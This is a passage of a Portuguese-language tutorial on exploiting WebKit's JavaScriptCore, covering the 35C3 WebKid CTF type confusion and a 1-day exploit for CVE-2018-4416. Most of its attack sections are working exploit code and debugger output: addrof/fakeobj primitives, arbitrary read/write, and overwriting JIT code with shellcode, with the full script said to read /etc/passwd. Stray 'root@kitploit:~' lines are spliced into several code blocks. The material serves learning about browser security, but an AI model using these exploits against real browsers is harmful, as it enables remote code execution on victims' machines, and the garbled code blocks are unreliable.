 if (!previous)
     return false; // Se não tiver nenhuma, pare aqui

 unsigned unused;
 // Verifica se a propriedade que estamos deletando é a última adicionada
 // Isso deve ser verdade se a estrutura antiga não tiver esta propriedade
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // Não é a última propriedade? Pare aqui e remova usando o caminho normal.

 // Assegura que adicionar a propriedade à última estrutura resultaria na estrutura atual
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // Não interessante. Basicamente, isto apenas deleta o Butterfly deste objeto se não for um array e formos solicitados a deletar a última propriedade fora da linha. O Butterfly então se torna inútil porque nenhuma propriedade está armazenada nele, então podemos deletá-lo.
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // Define diretamente a estrutura deste objeto
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

Em suma, um objeto retornará ao ID de estrutura anterior ao deletar um objeto adicionado anteriormente. Por exemplo:

#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o agora é um objeto com ID de estrutura 122. o.property = 42; // o agora é um objeto com ID de estrutura 123. A estrutura é uma folha (nunca foi transicionada)

function helper() { return o[0]; } jitCompile(helper); // Executa a função helper muitas vezes // Neste caso, o compilador JIT optará por usar um watchpoint em vez de verificações em tempo de execução // ao compilar a função helper. Assim, ele observa a estrutura 123 para transições.

delete o.property; // o agora "voltou" para o ID de estrutura 122. O watchpoint não foi acionado. #+end_example

Vamos revisar alguns conceitos primeiro. No JSC, temos verificações de tipo em tempo de execução e watchpoint para garantir a conversão de tipo correta. Após uma função ser executada muitas vezes, o JSC não usará verificação de estrutura. Em vez disso, substituirá por watchpoint. Quando um objeto é modificado, o navegador deve acionar o watchpoint para notificar essa mudança e retornar ao interpretador JS e gerar novo código JIT.

Aqui, restaurar para o ID anterior não acionará o =watchpoint= mesmo que a estrutura tenha mudado, o que significa que a estrutura do ponteiro butterfly também será alterada. No entanto, o código JIT gerado por =helper= não retornará, pois o watchpoint não foi acionado, levando a uma confusão de tipo. E o código JIT ainda pode acessar a estrutura butterfly antiga. Podemos vazar/criar objetos falsos.

Esta é a primitiva de ataque mínima:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // O código JIT trata como inteiro, mas na verdade deveria ser um objeto. // Podemos vazar o endereço a partir dele print(addrof({})); // Quase o mesmo que acima, mas é para escrever dados print(fakeobj(addrof({}))); #+end_example

** Funções Utilitárias :PROPERTIES: :CUSTOM_ID: utility-functions :END: O script de exploração cria muitas funções utilitárias. Elas nos ajudam a criar a primitiva que você precisa em quase toda exploração do webkit. Veremos apenas algumas funções importantes.

*** Obtendo Código Nativo :PROPERTIES: :CUSTOM_ID: getting-native-code :END: Para atacar, precisamos de uma função de código nativo para escrever shellcode ou ROP. Além disso, funções só se tornarão código nativo após serem executadas muitas vezes (esta está em =pwn.js=):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // Algum código que pode ser sobrescrito pelo shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** Controlando Bytes :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: No =int64.js=, criamos uma classe =Int64=. Ela usa =Uint8Array= para armazenar números e cria várias operações relacionadas como =add= e =sub=. No capítulo anterior, mencionamos que o JavaScript usa valor marcado para representar números, o que significa que você não pode controlar o byte mais alto. O array =Uint8Array= representa inteiros de 8 bits sem sinal, como valor nativo, permitindo controlar todos os 8 bytes.

Exemplo simples de uso do =Uint8Array=:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // o valor será convertido para inteiro de 8 bits sem sinal // 211 #+end_example

Pode ser mesclado em um array de 16 bytes. O seguinte mostra que =Uint8Array= armazena em formato nativo claramente, porque =0x0201= == =513=:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

As funções restantes de =Int64= são simulações de diferentes operações. Você pode inferir suas implementações pelos nomes e comentários. Ler os códigos também é fácil.

** Escrevendo a Exploração :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** Detalhe sobre o Script :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Adiciono alguns comentários do writeup original de Saelo (a maioria dos comentários ainda é dele, muito obrigado!):

#+begin_example const ITERATIONS = 100000;

// Uma função auxiliar retorna função com código nativo function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// Retorna uma função com código nativo; colocaremos shellcode nesta função mais tarde function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** Conclusão sobre a Exploração :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: Para concluir, o exploit usa duas primitivas de ataque muito importantes - =addrof= e =fakeobj= - para vazar e criar um objeto falsificado. Uma função JIT é vazada e sobrescrita com nosso array =shellcode=. Em seguida, chamamos a função para vazar a flag. Quase todos os exploits de navegadores seguem essa forma.

Agradecimentos aos organizadores do 35C3 CTF, especialmente Saelo. Foi um ótimo desafio para aprender sobre confusão de tipos no WebKit.


  • Depuração do WebKit :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: Agora que entendemos todas as teorias: arquitetura, modelo de objetos, exploração. Vamos começar as operações reais. Para se preparar, use o /JSC/ compilado da parte Setup. Use apenas a versão mais recente, já que estamos discutindo apenas depuração aqui.

Eu costumava tentar definir breakpoints para encontrar seus endereços, mas isso é na verdade muito estúpido. /JSC/ tem várias funções não padrão que podem despejar informações para nós (você não pode usar a maioria delas no /Safari/): - =print()= e =debug()=: Como =console.log()= no /node.js/, eles vão gerar informações no nosso terminal. No entanto, =print= no /Safari/ vai usar uma impressora real para imprimir documentos. - =describe()=: Descreve um objeto. Podemos obter o endereço, membros da classe e informações relacionadas através desta função. - =describeArray()=: Similar a =describe()=, mas foca nas informações de /array/ de um objeto. - =readFile()=: Abre um arquivo e obtém seu conteúdo - =noDFG()= e =noFLT()=: Desativa alguns compiladores JIT.

** Definindo Breakpoints :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: A maneira mais fácil de definir breakpoints é interromper uma função não utilizada. Algo como =print= ou =Array.prototype.slice([]);=. Como não sabemos se uma função vai afetar um PoC na maioria das vezes, esse método pode trazer algum efeito colateral.

Definir funções vulneráveis como nossos breakpoints também funciona. Quando você tenta entender uma vulnerabilidade, interrompê-las será extremamente importante. Mas suas pilhas de chamadas podem não ser agradáveis.

Também podemos personalizar uma função de depuração (use =int 3=) no código fonte do WebKit. Definindo, implementando e registrando nossa função no =/Source/JavaScriptCore/jsc.cpp=. Isso nos ajuda a travar o WebKit nos depuradores:

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

Como o terceiro método exige que modifiquemos o código fonte, eu prefiro os dois primeiros pessoalmente.

** Inspecionando Objetos JSC :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: Ok, usamos este script:

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

Use nosso gdb com gef para depurar; você pode adivinhar que vamos interromper a =print()=:

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // Algum backtrace #+end_example

#+begin_quote O endereço do objeto e o ponteiro butterfly podem variar na sua máquina. Se editarmos o script, o endereço também pode mudar. Por favor, ajuste-os com base na sua saída. #+end_quote

Vamos dar uma primeira olhada no objeto e seu ponteiro:

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

E se mudarmos para float?

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

Usamos um pequeno truque aqui: =2261634.5098039214= representa =0x4141414141414141= na memória. Encontrar o valor é mais prático através do número mágico (aqui usamos o ponteiro butterfly diretamente). Por padrão, JSC preenche a memória não utilizada com =0x00000000badbeef0=:

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

O layout da memória é o mesmo da parte /Modelo de Objetos JSC/, então não vamos repetir aqui.

** Obtendo Código Nativo :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: Agora, é hora de obter a função compilada. Isso desempenha um papel importante no entendimento do compilador JSC e na exploração:

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

Não é difícil se você leu a seção anterior com atenção. Agora, devemos obter o código nativo no depurador:

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Algum backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // No modo debug, está ok usar 368 como deslocamento // No modo release, no entanto, deve ser 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

Coloque seu dump de bytes no rasm2:

#+begin_example rasm -d "your dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

Emmmm... o código desmontado está parcialmente incorreto. Pelo menos podemos ver um esboço agora.


  • Exploração de 1 Dia :PROPERTIES: :CUSTOM_ID: day-exploitation :END: Vamos usar o bug da seção /gatilho do bug/: CVE-2018-4416.

É uma confusão de tipos. Como já falamos sobre /WebKid/, um desafio CTF semelhante que tinha um bug de confusão de tipos, não será difícil entender este. Mude para o branch vulnerável e comece nossa jornada.

O PoC é fornecido no início do artigo. Copie e cole os =int64.js=, =shellcode.js= e =utils.js= do repositório /WebKid/ para sua máquina virtual.

** Causa Raiz :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Citação do Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: A seguir está a descrição de CVE-2018-4416 por /Lokihardt/, com meu destaque parcial.

Quando um loop =for-in= é executado, um objeto =JSPropertyNameEnumerator= é criado no início e usado para armazenar as informações do objeto de entrada para o loop =for-in=. Dentro do loop, o ID de estrutura do objeto "this" de toda expressão =get_by_id= que usa a variável do loop como índice é comparado ao ID de estrutura em cache do objeto =JSPropertyNameEnumerator=. Se for o mesmo, o objeto "this" da expressão =get_by_id= será considerado como tendo a mesma estrutura que o objeto de entrada para o loop =for-in=.

O problema é que não há nada para impedir que a estrutura da qual o ID de estrutura em cache seja liberada. Como os IDs de estrutura podem ser reutilizados após seus donos serem liberados, isso pode levar a confusão de tipos.

*** Explicação Linha por Linha :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: Comentário em =/* */= é minha análise, que pode ser imprecisa. Comentário após =//= é do Lokihardt:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* This is abother target */
  /* We want to confuse it(tmp) with obj(fake_object_memory) */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      /* Step 4 */
      /* Change the structure of tmp to {} */
      tmp.__proto__ = {};

      gc();
      /* The structure of obj is also {} now */
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      /* Step 5 */
      /* Compiler believes obj and tmp share the same type now */
      /* Thus, obj[k] will retrieve data from object with offset a */
      /* In the patched version, it should be undefined */
      return obj[k];  // Type confusion.
  }

}

/* Step 0 / / Prepare structure {} */ opt({});

/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);

/* JSC crashed */ print(fake_object); #+end_example

*** Depuração :PROPERTIES: :CUSTOM_ID: debugging :END: Vamos depurar para verificar nosso pensamento. Modifico o PoC original para facilitar a depuração. Mas eles são quase idênticos, exceto pelo adicional =print()=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
      debug("Confused Object: " + describe(obj));
      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

Então =gdb ./jsc=, =b *printInternal=, e =r poc.js=. Podemos obter:

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

Vamos dar uma olhada no nosso endereço falso. O JSC é muito grande para encontrar seu breakpoint dos sonhos. Vamos definir um watchpoint para rastrear seu fluxo:

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

Obtemos a saída esperada depois:

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

Mas por que aparece em =structure ID=? Podemos obter a resposta a partir do layout de memória deles:

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleEntão, o ponteiro do =Uin32Array= é retornado como um objeto. E =m_structureID= está no início de cada objeto JS. Já que =0x1234= é o primeiro elemento do nosso array, é razoável que =structureID()= o recupere.

Agora podemos usar dados no =Uint32Array= para criar um objeto falso. Incrível!

** Construindo a Primitiva de Ataque :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: Agora, devemos criar um objeto válido. Eu escolho ={}= (um objeto vazio) como nosso alvo.

Como um objeto vazio se parece na memória (ignore script e depuração aqui):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

Ok, ele começa com =0x010016000000008a=. Podemos simulá-lo no =Uint32Array= útil (lembre-se de colar =gc= e =opt= aqui):

#+begin_example function gc() { ... // Same as above's }

function opt(obj) { ... // Same as above;s }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

Dois números misteriosos são retornados:

#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src

Obviamente, está no formato de ponteiro. Agora podemos vazar qualquer objeto!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: Obter um =fakeob= é quase idêntico a criar =addrof=. A diferença é que você precisa preencher um endereço em =UInt32Array=, depois obter o objeto através do atributo =a= em =fake_object=

*** Leitura/Escrita Arbitrária e Execução de Shellcode :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: É semelhante ao script de exploração do desafio =WebKid=. O script completo é muito longo para explicar linha por linha. Você pode, no entanto, encontrá-lo [[/assets/CVE-2018-4416.js][aqui]]. Talvez precise tentar cerca de 10 rodadas para explorar com sucesso. Ele lerá seu =/etc/passwd= quando tiver sucesso. Aqui está o código principal:

#+begin_example // get compiled function var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // Compiler are misleaded that obj and tmp shared same type
      return obj[k];
  }

}

opt({});

// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');

// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // Write an int64 to the given address.
  // we change the butterfly of victim to addr + 0x10
  // when victim change the pointer attribute, it will read butterfly - 0x10
  // which equal to addr + 0x10 - 0x10 = addr
  // read arbiutrary value is almost the same
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
  write16(addr, value) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
  read64(addr) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // Verify that memory read and write primitives work.
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 does not work");
  },

};

memory.test(); debug("[+] limited memory read/write working");

// Get JIT code address debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] shellcode function object @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] executable instance @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode instance @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

